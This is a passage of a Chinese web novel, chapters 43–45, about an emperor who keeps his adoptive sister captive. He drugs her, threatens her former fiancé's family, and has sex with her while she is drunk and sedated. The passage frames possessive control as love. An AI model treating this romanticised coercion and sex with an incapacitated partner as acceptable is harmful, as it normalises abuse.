此话一出,声音不大不小,刚好场上的人也都能听到,奏乐的声音倏然中断,众人慌忙跪了下去,“陛下饶命!” “陛下饶命!” 沈遥眉头皱成了川字,在一串串求饶的混乱声中,终于扭头将视线落在宋衍的侧脸上。 不同于看她的眼神,此刻他满是戾气,神情淡漠冰冷,指尖在摩挲,好似盯着一群死人一般。 她曾经只听闻过他屠灭著姓氏族,令众人闻之色变的传言。可那是为了安稳大周的最快手段,也正是因此,他并不需要如曾经的皇帝那样,用联姻的手段来牵制朝臣,因为所有非他势力的人,早在当初攻入长安时被尽数屠灭。 她没看到过当初血流成河的惨状,而现下却是她第一次见到他在外人面前所表露出的真实模样。 沈遥真是奇了怪了,他这样脑子有问题的疯子,竟也能治理好大周。 下面的人异口同声地哭诉,沈遥心生反感与不忍,终于道:“不是因为宴会,你知道的。” 宋衍这才转过来又看向她,刚才的阴鸷瞬间烟消云散,又变回往日温柔。 他好像一直知晓沈遥提不起心绪的原因,却始终寻来其他因素欺骗自己,逃避现实。 他见她眉眼几分倦色,便叫人全部退下。 待宴中空荡下来后,没有再问她不开心的原由,只道:“今日宾客都给阿姐送了礼,朕也有一份礼物要赠与阿姐。” 他从怀中掏出一只小锦盒,郑重地推到沈遥跟前,“阿姐看看?” 沈遥随意垂眸一瞥,又将视线挪开,并不感兴趣。 “吸了沉酥,没力气。” 宋衍轻笑一声,摇头道:“看给你顽皮的,朕亲手调过沉酥的用量,没这么大作用。” 不过他也不过多纠缠在这一问题上,他准备了这礼物很久,如今是迫不及待想要给她。 他自顾自将锦盒打开,又喊了她一声,固执地要她看。 沈遥冷笑着低头,见是一支精致小巧的玉簪,上面是两朵简单的梨花,簪尾处连接了一段米白色,不知什么材质的物体。 不过看得出来,这是宋衍亲手所刻。 “喜欢吗?” “丑死了。” 宋衍顿了一会儿,将簪子从锦盒中取出,想往她头上戴。 沈遥彻底失去今日的所有耐心,用力一把拍开他的手,簪子没握稳,从空中飞过,掉落在地,发出一清脆的声响,不过好在没有碎裂。 只是与此同时,宋衍的脸也被其划出一条血痕,和上次没好全的指甲痕迹叠在一起,将他整个人衬得更像一只厉鬼。 沈遥目光落在他脸颊上,抿了下唇,又冷淡地说:“我说了,丑死了,我不喜欢,你没听懂吗?” 宋衍动作还停在刚才给她戴簪子的状态,手滞在空中,许久后才放下,平静地将簪子捡起,轻轻抹去上面灰尘。 他把玩着这支簪子,两个指头捏着,从簪子顶部往下轻轻抹着,一直到米白色的尾部。 他淡然地再次抬手,将其插回沈遥发髻上,见她又要扔掉,忽然低语:“阿姐。” 沈遥动作停住。 刚才这声低语平静,却让人胆寒,带着她从未体会过的威压,以及强烈的控制。让她不由自主听话,停下手中摘簪子的动作。 宋衍半眯着眼睛,忽然又温文尔雅一笑,“阿姐,你是不是忘了,宁梓谦,还有整个宁家,都在朕的手中。” 沈遥捏着簪子的手倏然间冷汗直冒,牙齿打颤,“宋衍,你卑鄙。” 宋衍捏过她的手,用上一两成力便将其拉下,牢牢握着。 她的手纤细,冰冷,又滑嫩。他双手捂着为她取暖,又顺带沿着指骨处轻轻抚弄。 她的手太白了,以至于青色的血管如此明显,他似乎能看穿到里面流淌的血液。 “你要这么想,也可以。” 沈遥大恨:“宋衍,你无耻!” 宋衍欣赏着她发髻上的玉簪,感觉自己似乎与她融为了一体,心底暖烘烘的。 “阿姐,你以后都要戴着它,答应朕,朕就不动宁家。” 沈遥声音微颤:“宋衍,当初在甘州与凉州,是宁家耗尽家财,助你招兵买马,囤积粮草,你如此行径,岂非忘恩负义?” “那又如何?”宋衍抽出一只手,揉着她发顶,“阿姐,你太单纯了,在这个世道中,唯有恶,唯有自私,方可求生。忘记当初我们那一路的逃亡了么?” 沈遥咬紧牙关,看着面前的男人,好像从没真正认 识过他一般。 头顶的大手即便再温柔,如今带给她的却是满满掌控。 怎么会这样? 她抿唇转过头,抬起面前的酒壶,在宋衍还来不及阻止时便一饮而尽。待他将酒壶抢过后,里面已经一滴酒都没了。 速度够快的。 身旁沈遥的脸已经红了起来,眼睛朦胧又迷糊,轻轻打了个小的酒嗝。 宋衍看着她着实无奈:“醉了?” 沈遥眨眼好一会儿,才摇摇头,“没有。” 宋衍沉默。 沈遥闭眼坐了一会儿,站起身来到一处柜子旁。宋衍没有阻止,只是定定看着她从其中翻出药瓶,又走回他身旁落座。 她将药瓶“啪”一声重重拍在案几上,恶狠狠道:“脸,别留疤了,丑死了。” 宋衍看着那白瓷小药瓶,心底动容,将头往她面前靠了靠,“看不到。” 麻烦。 沈遥咬牙切齿,混沌着将药瓶打开,用帕子沾了药轻轻抹在他脸上。 他定睛看着她的举动,还是咬唇笑了一下。 阿姐嘴上再恨他,终究还是狠不下心。 真傻。 沈遥涂完药,眼睛空洞地看着白瓷药瓶,一动不动,喃喃自语起来,“你还我。” 宋衍不解:“什么?还什么?” “还我小衍。”她眼眶渐渐红了起来,这些时日的情绪终于是绷不住了。 她恨。 恨眼前的男人,恨这个骗子,却也更恨自己,竟将臭弟弟养成了这副德行。 从幼时起,她身为长姐,就在照顾,谦让。 她被告知,要坚强,要长大,比他们都长得都快。 母亲眼里只有小妹,她并非不喜小妹,只是希望母亲多看她几眼,多关注她。 明明小妹天生的弱症不是她造成的,明明她也会累,也会无助,也会想要躲在他人羽翼下呼吸。可周遭所有的一切都在逼迫她,成长,快成长起来,你是长姐,你必须成熟。 她自以为很强大,带着臭弟弟一路逃亡,乞求姨母收留,说服姨丈扶持宋衍,为了成就他的帝位,她拒绝过无数亲事,从来不当自己是个正常的闺阁姑娘。 可她总是高估自己。 总是高估,每一次都这样。 看着曾经那个唯唯诺诺,不敢抬头,说着要保护自己的男孩儿,如今是这副偏执又厌世的模样。她更是无力。 她弄丢了小妹与小白,甚至还把小衍也弄丢了。她并不是个平静的人,她其实很脆弱。 沈遥,你真是什么都做不到,什么都做不好。 宋衍沉默了,身体僵硬。 “你把小衍还给我,他不是你这样的。” 秋夜忽然又下起了淅淅沥沥的小雨,寒凉从外面侵袭而入。 沈遥终于哭了出来,眼泪大颗大颗从眼眶中落下,跪坐在案前的身子缩成一团,抖成了筛子。 宋衍从没见过她这个样子,一时错愕,他抬手轻轻擦去她脸颊的泪水,却怎么也擦不尽。 最后,只能手足无措地将整个人揽到怀中,唇贴着她的耳廓呢喃:“别哭了,阿姐。” “朕就是小衍啊,一直都是,无论是六岁,还是十岁,还是十八岁,都是小衍,从未变过。” 沈遥哭得说不出话,一直咳嗽,也无力挣扎,只得软塌塌靠在他好似温软,却实则冰冷的怀中。 他收紧了自己的手,告诉她:“阿姐,朕从记事起,便学会了一件事,深刻在心里。那就是,成为一个恶贯满盈的人,才是对自己最大的恩赐。” 他一只手轻轻摩挲着她的耳廓,又捏了捏耳垂。 “想要什么东西,乞求不来的,只能不择手段,靠自己去争取。而在朕的一生中,唯一想要的,只有阿姐,仅此而已。当初朕夺取皇位,也只是为了给阿姐,给沈家复仇。人性险恶,那些口口声声皆是善意的人,转头便出卖了沈家。而所有伤害过阿姐的人,一个都不配苟活于世。” 他说:“现在,朕是天子,即便江山万里,想要的依然没变过,就只阿姐一人。” 沈遥哭得迷迷糊糊,却听进去了他的每一个字。 她没有回任何话,说不清什么是对,什么是错,又或许世上没有任何一件事,有对错之分。 她扭过头,双手抓着他的衣襟,一口咬上了他的喉结,带着泄愤。面前的男人一动不动,任凭她咬着,手轻拍着她的背。 沈遥倏然感受到口中的血腥,她把他喉结咬破了,伤口不深,却还是隐隐出了些血。 “你怎么不躲?” 不疼么?不怕死? 他低下头,轻轻抬起下巴,粗糙的拇指抹去她唇角的血迹,手心又宠溺地捧住她的脸,却带着无法抗拒的强势,“阿姐,诺诺,就算你杀了朕,朕也不会躲。” 沈遥:“我蠢吗?我若杀了你,你外面那群侍卫定不会放过我。” 宋衍摇头道:“和他们交代过了,若你杀了朕,以后他们便听命于你,护你安危。” 他忘了是从什么时候开始发觉自己这种病态的感情,好像是从沈遥决定嫁给宁梓谦时,他才忽然意识到,一生中唯一给过他光的人,终有一日会离开。 到那时,他又只能独自躲在发臭的阴暗角落。若她终有一日离开,那还不如让她亲手杀了他,以此永远记住他,也好叫他不再受那来自黑夜的锥心之痛。 他低下头,循循善诱:“诺诺,杀了朕,你就可以离开了。” “你这个疯子。”沈遥攥紧了他的衣襟,将头埋在他胸前,酒意愈发涌了上来,身体与头脑似乎不受支配。 她对杀死他的拒绝好像一股春风,细细密密地钻进他心窝子。 即便是大自己两岁的阿姐,在他眼里还是当初那个单纯,天真的小姑娘。她眼睛红红的,哭花了妆容,却还是很漂亮。 她一直沉默。 宋衍心底动容,将她下巴抬起,低头吻上了她的眼,动作温柔似水,他吻尽她的泪水,味道很咸,留下滚烫的痕迹。慢慢地,又向下移动到她的唇上,轻轻啃噬柔软双瓣,最后探舌撬开牙关,是久违的芬芳,让他忍不住轻叹。 随着吻愈发深入,他力量愈大起来,带着将她烈火灌喉的势头,吻了许久,耳边传来外面滴答雨声,欲//火旺盛到一发不可收拾。 “诺诺,可以吗?”他试探着向下伸手,见她并未拒绝,便更是嚣张起来。 她抬起手臂遮住自己的眼睛,反复地深呼吸着,“宋衍,你根本不懂爱。” 他闭了下眼,滚动着喉结,衣襟有些凌乱,敞开了些,露出精壮的胸膛,又缓声说:“这就是朕的爱,或许与别人不一样,可朕的爱是占有。” “哪怕毁灭一切。” “这不对。”沈遥插话,疼得蹙眉,胸口起伏,头被撞到了矮榻的实木靠背处。 他整个人疯了一般,如狂风骤雨,却还是温柔地抬起手,挡在她的头顶,手背与木头摩擦在一处。 她紧紧抓着他青筋爆出的手臂,指节发白,指甲留下一条条红痕,努力调整呼吸,看着他喉结上的咬伤,心底涩然。 “或许吧。”与动作不同,他声音更加温柔起来,轻吻着她的耳垂,又伸舌舔过耳廓,“可朕知道,离开了你,朕痛不欲生。” 雨不知何时越下越大,冷风带着雨气涌入,即便颤抖,内里却依然火热到被潮水所吞没。 他撩眼看去,她明明情动,却又憋着股闷气。 着实要命。 他一口咬上锁骨,刻下属于他的齿痕,又到她耳边断断续续低语:“阿姐,你好会啊,弄得我好快活。” 有病! “闭嘴。”她抽噎着一巴掌“啪”一声扇到他脸上,他却不甚在意的又笑笑。 这样的疼痛,让他更加疯狂起来。 雨声之下,逐渐又响起了断断续续,叫人面红耳赤的的哭泣与呻吟。 两人折腾到后半夜才终于停下,宋衍紧紧拥着她,一声声低喃着“诺诺”,却始终感受不到面前人的存在。 究竟要如何,才能让她真正属于他? 面前的姑娘许是因沉酥的原因,加上喝了酒,耗费体力地又哭又做一场,累得连眼睛都不大睁得开。 宋衍为她穿好衣裳,坐在坐榻上,温柔抱着她,一手搂在她腰间,一手轻抚着被蹂躏过的唇瓣,心化成了一滩水。 “阿姐,这里是属于我们的桃花源,在这里,你可以放心的,依旧做那个单纯的女孩儿。 你的世界,不该被外人所污染。而所有的阴暗恶臭,肮脏的事儿,都交给朕去做。” 屋外的红了的秋叶,似乎化成了一团团火,不断燃烧着,好似回到了沈家出事的那夜。 沈遥眯着眼睛,指尖在发颤。 难道,这一切都是一场梦?睡一觉,等醒来后…… “阿姐,你会有朕爱你,有朕护你。在这里,你无需强大,你的小衍一直都在。” 第44章 第44章“陪你吃,乖。”…… 沈遥翌日酒醒后,才意识到,不知脑子哪儿跟筋抽了,昨夜半推半就间,竟直接与宋衍做了。 关键还在他面前哭成那副鬼样子,定然丑死了。 一气之下,她又病了一场,宋衍心急如焚叫来郎中,最后说是吹风着了凉,好在没有发热,就总是咳嗽个不停。 她将寝室门由内锁了起来,除了锦书伺候,其余不让任何人入内,包括宋衍。 他曾应允过除了离开,其余皆不会强迫她,便只能暂且由着她去。 反正待她睡着后,区区锁起的门也挡不住他。 可沈遥单方面的冷战还是令他脸色一天天沉下去,整个人散发着浓厚的阴郁。 再加之,宋禾自那日后彻底消失,不知躲去了何处,连他的白鹤也没什么动静,好似风雨欲来前的宁静。 这些时日,手中的毛笔写断了十多根,手心还残留着被断笔划破的伤痕。 太医面对时不时新添的伤口心惊胆战,可只有他自己知道,他这是在自虐。 太极殿中,当胡生不知第几次来禀,宋衍才后知后觉想起沈芯如今还在禁足之中。 既然沈遥都已知晓真相,那也没了禁足沈芯的必要。 得了自由的沈芯,迫不及待地带着很早便画好的丹青等在月台上,下早朝后,来到殿中觐见。 入殿时,龙椅上的人一直沉默着,看似盯着手中的奏章,实则视线已放空很久。 “陛下。”沈芯小心翼翼地轻喊他一声。 宋衍听闻后才终于回神,“嗯”了一声,抬头示意沈芯上前来。 沈芯提裙走上玉阶,将手中画卷递给胡生。 待画卷徐徐展开后,画上女子明媚的笑容跃入眼帘,是在花树下练剑的沈遥。她一身淡红色圆领缺胯袍,头发高束,利剑刺出,梨花飞舞。此般场景,宋衍在梦中见过不少。 他看着栩栩如生的丹青愣怔许久,也不知有多少日,他已没能看到沈遥如画上的笑容。 他的阿姐,就这般不愿留在他的身边,厌恶他,好似厌恶蟑螂臭虫一般。 “画得很好。”宋衍随意评了一句。 沈芯莞尔一笑,如今终于见到面前的男人,却不知如何找寻话题。 被禁足数月,她愣是不敢再提沈遥,生怕哪句话不对,又惹了他怒意。 细细窥视着他眉眼间的乌青,看出来,他心情很不好,似乎很久没能好好歇息,沈芯柔柔问:“陛下心绪不佳?可有绵绵能为陛下分忧的地方?” 宋衍瞥她一眼,忽然想到,既然沈芯是沈遥亲妹,或许还真能派上用场。 这次他也不再隐瞒,直接道:“她想起来了。” 沈芯着实没想到他竟主动提起,一时愣神,瞪大了眼睛,凝思着道:“以阿姐的性子,这知晓了真相后,怕是……怕是不太容易接受。” 何止不太容易接受。 宋衍一闭上眼,脑海中便浮现出那夜沈遥崩溃大哭的情景,他的阿姐,从前明明不是这样的,无论遇到什么困境,都不会掉一滴眼泪。 这是怎么了? 她就这么受不了? 宋衍道:“梁国夫人递了好几次牌子,想见你,朕已应允。” 韩秀华如今留在长安,明日入宫,听闻是一直担忧着没踪迹的沈遥,茶饭不思。 沈芯点了点头,悄悄撇了下嘴。 说实话,她与梁国夫人韩秀华感情并不深厚,不如沈遥与宋衍两人。可碍于身份,也不得不去捧人臭脚。 宋衍想到什么,又与她嘱咐:“别提起沈遥和葫芦镇之事。” “是。”沈芯自是应下,“陛下,不知如今阿姐可还好,她既知晓真相……” 她话只说一半,便将头低下去。 宋衍淡淡说着:“生了场病,又把自己关在房里。” 沈芯低头,眸底闪过一丝暗光。 她咬唇又凑近一步,提议道:“陛下,不如让绵绵试试,去劝慰阿姐?” 宋衍看向她,没说话。 “阿姐毕竟是绵绵亲姐,陛下也知,阿姐一向容易心软,不如让绵绵前去劝劝,或许能说服阿姐呢?”沈芯面上尽显柔和纯善。 宋衍思量许久后,终于点头应下。 …… 当见到沈遥时,沈芯一时愣怔。 记得上一次时府门口见面,沈遥虽然带着些愁容,却不至于病弱。如今的沈遥,身披厚实披风,面上不施任何脂粉,只带着病后的苍白,头发披散着,随意簪着一梨花玉簪,由身旁婢女搀扶落座,手中抱着暖炉,时不时握拳至嘴边咳几声。 “阿姐病得不轻。” 沈遥摇摇头,“郎中看过,只是风寒引起的咳疾罢了,每日按时服药便好,小病毕竟还是去得慢了些。” 她扯了扯身上披风,转头令锦书备茶,待拾到好一切后,又打发了锦书去煎药。 锦书恭敬应下。 “既不是大病,那我就放心了。”沈芯一时语塞,不知从何处起头,半晌才憋出一句话。 沈遥倒是若无其事地抬起热茶轻抿,率先问她:“上次在葫芦镇见着你了,只是没认出来。” “啊,是。”沈芯握了下袖下的拳头,对当初那事存着后怕,并不愿多提。 “当时还没来得及寒暄,宋衍便将你带走了,你……可还好?” 沈遥还记得那日宋衍脸色难看,实在令她有些担忧。 “我没事的。”沈芯回她很快,片刻后,身体微向前倾,低语道:“毕竟,陛下一直将我当作自己人,无论如何,也不会太过生气。” 她笑笑,隐去了自己被禁足数月之事,又道:“至少阿姐的病还能痊愈,我这一生就这样了,好在每日有太医看着,如今还算稳定。” 沈遥漫不经心点头,一边喝茶,一边在案几上轻敲手指,“今日,是他让你来的?为了说服我?” 沈芯摇头道:“是我自己想来,与陛下提起后,他便同意了。只是今日一见,着实没想到阿姐竟病成这样。” 她扭头扫了一眼四周,确认无人能窃听到姐妹谈话后,才从怀中掏出一只月白香囊,放在桌上,眸间带着隐隐担忧,“阿姐,陛下这些时日因着你,一直都没怎么休息好,我实在心疼得紧。其实,陛下一直睡眠不佳,常常半夜惊醒,我时常会备安神香给他助眠。” “看到阿姐与陛下关系闹僵成这样,我心底也是担忧得不行,阿姐替我将这香囊给陛下吧。” 沈遥狐疑:“你不自己给他?” 沈芯眉眼弯弯,脸颊微红,眸光潋滟,长叹一声:“我这不是想帮帮阿姐么?若阿姐能与陛下关系缓和下来,我也就放心了。说实话,陛下如此年轻英俊,若未来咱们姐妹一同侍奉,就如那娥皇女英的千古绝唱,也是美事一桩。” “如此,陛下也能心无旁骛处理国事。可如今这样,总令他因后院之事烦扰,着实不应啊。” 沈遥本拿着茶杯的手一顿了片刻,没继续饮下,而是重重将其放回原处,发出清脆的声响。 滚烫的茶水洒出一些在她的手背,她也没能 察觉。 沈遥讽刺一笑,“行了,你不用劝我,我没想着伺候他。他当初演这么一出大戏,又毁去我与宁梓谦姻缘,还拿着宁家来威胁,我难不成还要媚笑迎合,这岂非可笑?” “如此一来,他置我长公主的身份于何处?至曾助他登上帝位的我与宁家又于何处?绵绵,我自有我身为长公主的尊严,你不必说了。” “阿姐……”沈芯被怼得话卡在嗓子眼,她瘪嘴,又一声长叹,“长公主啊……阿姐真当厉害,我倒是羡慕得紧。” “老天着实不公,想我生来就有这弱症,爹教阿姐功夫,从小我便只能干看着。当初走丢后又被无知村妇养大,吃尽苦头,身体更是赢弱。可阿姐什么都有,如今陛下因阿姐变成这样,阿姐倒是没有丝毫在意。” “说到底,真正心疼陛下的人,也只我……” “若你真只是来做说客的,那便走吧。若你想要与我炫耀些什么,那也令你失望了,我对你所说的那些并不在意。绵绵,从小到大,我们姐妹间,其实能聊的话题并不多,不是么?”沈遥带着一腔明显的火气,说话也强硬起来。 沈芯眉眼微动,见沈遥面若凝霜,也不好多留,她也没将那只香囊带走,便直接离开时府。 沈遥坐在椅子上,重新抬起手中茶盏轻抿,静静凝思着沈芯的话。 她这个小妹,从小便喜欢抢她东西,好像只有抢夺,才能填补因弱症而产生的不平。 她们儿时关系算不上好,她对沈芯的照顾皆是出于长姐的职责与不可分割的血缘。 那年父亲生辰,她花了整整一周,亲手制了一副马鞭准备做生辰礼。 她将马鞭放在自己房间的小柜中,当出去一趟回来后,却发觉那东西不见了。 她心慌意乱地在府中找了一整日,最后是在母亲的房中,发现小妹手持马鞭,骑在小木马上玩耍挥舞。 沈芯前后扭动着身体,大喊着: “驾——” “驾——” “驾——” “跑得这么慢,打死你!打死你!” 沈遥当时不确定那是不是她做的那副马鞭,上前抓住沈芯的手确认,混乱中被马鞭抽了一下大腿,可她一时也没顾上疼痛。 不知沈芯做了什么,那副马鞭仅仅一日便磨损得厉害。 “我的东西怎会在你这儿?” 正在做女红的母亲韩娆轻飘飘瞥她一眼,淡淡道:“哦,忘记与你说了,绵绵拿了你房中的马鞭玩儿。” 当时沈遥气到手指发颤,咬着唇说了一句:“不问自取是为贼也。” 此话一出,韩娆直接炸了,提高了嗓音道:“怎么说话的呢!平日教你的礼教都学去哪儿了?让你小妹玩玩怎么了,她不像你,她可是连骑马的机会都没有。说过多少次,绵绵身子不好,你身为长姐更是要懂得谦让照顾妹妹。” “都是一家人,说什么贼不贼的,你还有没有点儿良心!” 沈遥咬唇,努力将即将涌出的泪水憋回去,维持着她一直以来的高傲。 她稳着嗓音道:“就算如此,未经我允许,怎能入我房间,随意拿我的东西?” 韩娆更是生气:“说了,这是你妹妹,一家人,她年纪还小,不懂事儿。你这长姐怎么当的,这么小气。” 沈遥憋了很久,年纪小,想不出合理的话语来反驳长辈,终于忍不住大吼出来:“是!是我不懂事儿,我就是小气!可这是我做了很久,要送给爹的!” 韩娆似乎被她的反抗吓了一跳,“这就是你对长辈态度?绵绵玩儿怎么了,送你爹的礼物重新准备不就好了,又不是什么大事儿,竟这么大吼大叫。” 木马上的沈芯自然听到了她们的争吵,将手中已经玩坏儿的马鞭重重扔到她身上,尖叫道:“还给你!” 她叫完后,便直接哭了起来,一把鼻涕一把泪,咳得不行。 这一番动静吓坏了韩娆,她立刻冲上前将沈芯抱起,柔声细语地安抚,一边还在骂道:“你看看你,明知道你妹妹年纪小,又生着病,还把人气哭,她都把马鞭还你了,你还有什么不知足。” 年幼的沈遥看着韩娆抱着沈芯,两人是一对母女,反倒自己好似怎样都无法融入,着实好笑。 她用力将地上的马鞭踢飞到角落,高傲地昂着头颅跑出房间。 待跑了很久,附近没有人后,眼中的泪才终于憋不住,一涌而出。 即便后来沈芯长大了,在失踪很多年后找回,整个人也开始沉稳下来。 她还记得,沈芯回到长安那日,身上的粗麻布衣脏兮兮的,头发随意编辫成两股辫子,皮肤发黑,太医能调理回来并不容易。 可即便如此,沈遥依然看得出来,沈芯还是当初那个小妹妹,内里没什么太大变化,依然觉得上天对自己不公,也依然觉得她沈遥就是天生欠了沈芯的。 沈遥饮尽剩下所有的茶水,将空杯随意一放,手收回大袖下。 至于沈芯喜欢宋衍,在意料之中,可听她的意思,似乎已经被收了后宫,或是快要被收入后宫,才会说出这番引人浮想联翩的话语。 骗子,臭男人,登徒子。 沈遥走出厅堂,身后很快跟上西风与北风两人。 今日东风被宋衍叫了去,只这俩武功最为高强的护卫看着她。 她抱着手炉,转头淡淡问起:“我小妹沈芯,与宋衍关系到了何种地步?” 西风和北风面面相觑,其实实际情况他们也不知晓。 可是想到宋衍平日对沈芯的态度,又想到这俩亲姐妹的关系,便大胆猜测:“关系是挺亲密了,沈姑娘如今日日宿在宫中,陛下亲自拨了一寝殿给她,还叫太医每日为其问诊。” 西风颔首补充:“想当初端午之时,多少贵女给陛下送香囊,陛下都未收下,却只独独收了沈姑娘的香囊,这么看来……” 北风又道:“陛下是有意收沈姑娘入后宫的,毕竟如今后宫仍是空无一人,总不可能一直这么空下去吧。” 西风与北风两人聊上了头,不停诉说着宋衍与沈芯之间私密的关系,扭头却发现沈遥早已离开,消失原地。 两人吓了一跳,立刻去寻,最后才知她只是回了自己房间。 待东风回来后,两人无意与他提起今日之话。 东风圆睁双眼,嘲笑:“陛下给你们两人取名西风北风,真不愧人如其名。你俩准备好去喝西北风吧!” 西风:“为何?” 北风:“不懂。” …… 深夜,宋衍从宫中归来后,一如既往去到内院,却遇到满脸愁容的锦书。 他免去锦书的礼节,直接问:“她今日如何?” 锦书垂下眼,“殿下见过沈芯姑娘后,就把自己关在房间,也不让奴婢伺候,今儿只用过一些早膳,后来便一直没吃东西,连药也没用。” 宋衍拧眉,在原地站了一会儿,犹豫后还是没有强行将门打开。 或许明日便好了。 然而过了两日,沈遥都在房中毫无动静,若非还会回答锦书的话,宋衍都以为她出了事儿。 可这么久不吃东西,又不服药,她莫不是在折磨自己。 他实在看不下去她这副模样,终是叫人强行撞开寝室房门。 灌入的寒风将屋内帷帐吹得微微荡起,沈遥侧卧在美人榻上,手中拿着一本书随意翻看着。 听到动静,她毫无惊讶地掀了下眼皮。 宋衍站在门口盯了她很久,她头发披着,梨花玉簪随手放在一旁,唇无血色,下巴尖尖。他发觉她短短几日便消瘦不少,时不时单手握拳,放在嘴边咳上两声。 与曾经她,好似换了个人一般。 见状,他立刻将门合上,生怕寒风再加重了她病情。 他上前坐至她身侧,将挡了脸的一些碎发捋到耳后,“你这是在惩罚自己,还是在惩罚朕?” 沈遥瞥他一眼,双膝合拢,“你在说甚?” 宋衍气不打一处来,“你两日未用膳,也未服药,再这样下去,身子撑不住。” 沈遥终于坐直,将手中的杂记合上后扔到一旁,浑身无力又懒散,“我只是没什么胃口罢了。” “阿姐,朕封你‘永乐’的初衷,就是不想看到你如今的模样。”他声音很低,又带着狼狈。 他真的不明白,明明周遭一切都没什么变化,时府依然是时府,葫芦镇也依然是葫芦镇,为何阿姐回忆起过往 后,就变了呢? 沈遥深刻地知道和这疯子讲不清道理,她说的很简单,“我厌恶欺骗与控制,仅此而已。” 宋衍嘿然一笑,“就是因此,朕才不敢放你离开啊。朕知道自己错了,可从不后悔。” 若当初他不如此做,沈遥早已是宁梓谦的人了,还要随着那厮去到那么远的凉州。而如今,若她离开葫芦镇,定然就不要他了。 “阿姐,若放了你,你还会留在长公主府吗?” 沈遥讽笑,“宋衍,你究竟在怕什么?你不是皇帝吗?整个大周不都在你掌控下吗?你如今怎会这等胆小如鼠?” “你知道的,你与其他人都不一样。” “可是你也知道,我最恨受人掌控。” 宋衍似乎在刻意回避这样的对话,他沉默下来,扭开头,过了一会儿,锦书已经备好流食与药入内,在放下后,又忙不迭退出房间。 他说:“你必须吃点东西。” 沈遥嫌恶地看了一眼案上的肉羹,依然没什么胃口。 宋衍又说:“阿姐,朕不想再威胁你。别忘了宁梓谦在哪儿。” “狗东西!”沈遥朝着他啐了一口,“卑鄙无耻!” “这会倒是不骂自己了。”他朝她笑了一下,“朕六亲不认的,只认阿姐一人。” “陪你吃。”宋衍心底涩涩的,抬起小碗,先舀起一勺服下,又再舀起一勺送到她唇边。 “乖。” 好在她不再抗拒,就这样一人一勺,将那碗肉羹吃完,又吃了些小菜。 为了哄沈遥喝药,宋衍又是端起药碗先自顾自喝下一半,才给沈遥递去。 她看着他的举动一时愣怔,想说“是药三分毒”,却还是什么也没说出口,最后妥协地将治风寒的药尽数喝下。 空碗落在案上,屋外传来滴滴答答的声响,屋内格外静谧。 “又下雨了。”沈遥扭头望向窗外,支摘窗开着,有些冷,扯了下身上的披风将自己裹紧。 现已是天黑,房间内早已点起好几盏灯,摇摇晃晃,身边传来淡淡的青草味冷香。 宋衍见她忽然闲聊,心底分外欣喜,“今年雨水格外多。” 沈遥没有回话,只是倾身,从一旁锦盒中拿出一个香囊,扔到宋衍身上。 他拾起后也没太理解,“这是?” “给你的。” 宋衍眼下闪过一丝暖光,还没来得及兴奋,沈遥又说:“沈芯让我给你的,安神的香囊。” 他长叹一声,失落地将其随意放到一旁。 沈遥想了想,还是问她:“你对沈芯究竟是什么意思?” 还没等他说话,她又撩了下头发,抿唇说:“算了,当我没问。” 宋衍一时没反应过来,在凝思片刻后才知晓她所询问的是什么,他立刻说道:“阿姐,她是你亲妹。朕也只是将她当作小妹罢了,仅此而已。” “问这做甚?” 沈遥飞快瞅他一眼,后仰了下身子,“没什么,就看到话本上说,许多男人偏爱姊妹同床这一套玩儿法,所以好奇罢了。” 宋衍一时无语,打趣了一下,“阿姐,朕没这癖好。” 当他说完后,沈遥只是“哦”了一声,翻了个白眼,便又不再说话。 他着实无措,“别想太多,以后朕都会陪你用膳,服药,直到你身子好起来。” 说完后,见她还是不理会自己,只自顾自将一旁的小橘抱到怀中,轻轻抚摸着,玩儿着它头顶那搓白毛。 她对待小橘的态度与耐心,是对待他的数百倍。 漆黑的眸子颤了颤,舌尖残留的药忽然变得更苦了,即便吃了一块蜜饯,也没能消减那丝涩意。 宋衍掩下心底嫉妒,躬下腰,伸手对着一旁的烛光抓了抓,松开手后,那光线又从指尖流失,手心结痂的伤口在刚才紧握双拳后又再次裂开,疼痛逐渐蔓延。 他还想说什么时,烛光忽然被冷风吹灭,室内瞬间一片漆黑。 第45章 第45章她必会恨你一辈子! 宋衍一时不知如何反应,耳边雨声好似变得越来越响,直到撕破耳膜,额头飞快冒出冷汗,呼吸愈发困难,像溺毙在雨水中。 他转身想去抓沈遥,伸手过去时却找不到她。 “阿姐?” 宋衍嗓音有些嘶哑,低沉地一字一句吐出:“阿姐不爱我,恨我,厌我,都没关系。反正这世上,也没人会爱我。” “可是,阿姐,能分给我一点怜悯吗?” 室内一片沉默,只剩下屋外噼里啪啦的声响。 半晌后,沈遥默不作声拿起一旁火折子将灯重新点亮,这才看到宋衍整个人已经蜷缩在地上,像受了惊的猫儿,团成一团。 她其实一直知道他怕黑,时府四处都彻夜亮灯,而她房中也是,不知何时起,就算他不在,她也会在床头留下一盏小灯。 可实际除了他把自己关在柴房那次,她从没见过他这副弱小无助的模样。 她举着灯靠近他几分,原本头埋在膝间,一动不动的人陡然抬眸望向她,一把抓住她举灯的手,灯盏里滚烫的灯油洒出一些,泼在他手上,却也感觉不到丝毫疼痛。 两人久久不语。 沈遥觉得自己不应管他的,可也不知中了什么邪,竟又抬起手,面无表情地轻拍了几下他肩膀。 宋衍回过神,手上用了几成力将她拉下,让人跪伏到自己身上,“阿姐,你还是在意我的啊。” 沈遥愣了一会儿,终于从他漆黑的眸子中抽离,“我只是不想大周皇帝忽然暴毙在我房间罢了。” 他不甚在意地笑笑,带着点儿病态的神情,道:“阿姐别怕,就算你亲手杀了我,我也会让你过得很好。” “你说的是,我会过得更好。”沈遥拧开他手,他并未刻意钳制。 沈遥一瞥地上,这才发现地上竟留了些血迹,也不知从何而来。 不是她身上的。 “你受伤了?” 他凝视了她许久,她的神情随着摇曳的烛光晃动。 宋衍啊,你真是被她吃的死死的。 无论她多讨厌你,在这样的时刻,她也还是心软了半分。这样的阿姐,叫他怎么舍得放手。 阿姐其实很会装啊。 宋衍趁机又靠近了她一些,贴着她搭在腿上的裙摆,将手心伤口翻给她看。 几条落错的割伤深深浅浅叠在一起,看起来很疼。 沈遥皱眉问他:“你怎么弄的?” “把笔给写断了。”他声音很小。 沈遥看回他视线,低骂了一声“蠢死了”,又道:“你别想着我会给你处理,我不给你下毒已是仁慈。” “哦。”宋衍收起掌心,轻轻捏了捏,一股冰凉的刺痛这时才从指尖传递到心口。 他长叹一声,叫她早些歇息,明日再来陪她吃饭服药,嘱咐完后便起身要走。 “等等。” 宋衍听到她声音后又转过身,定定看着她等她吩咐。 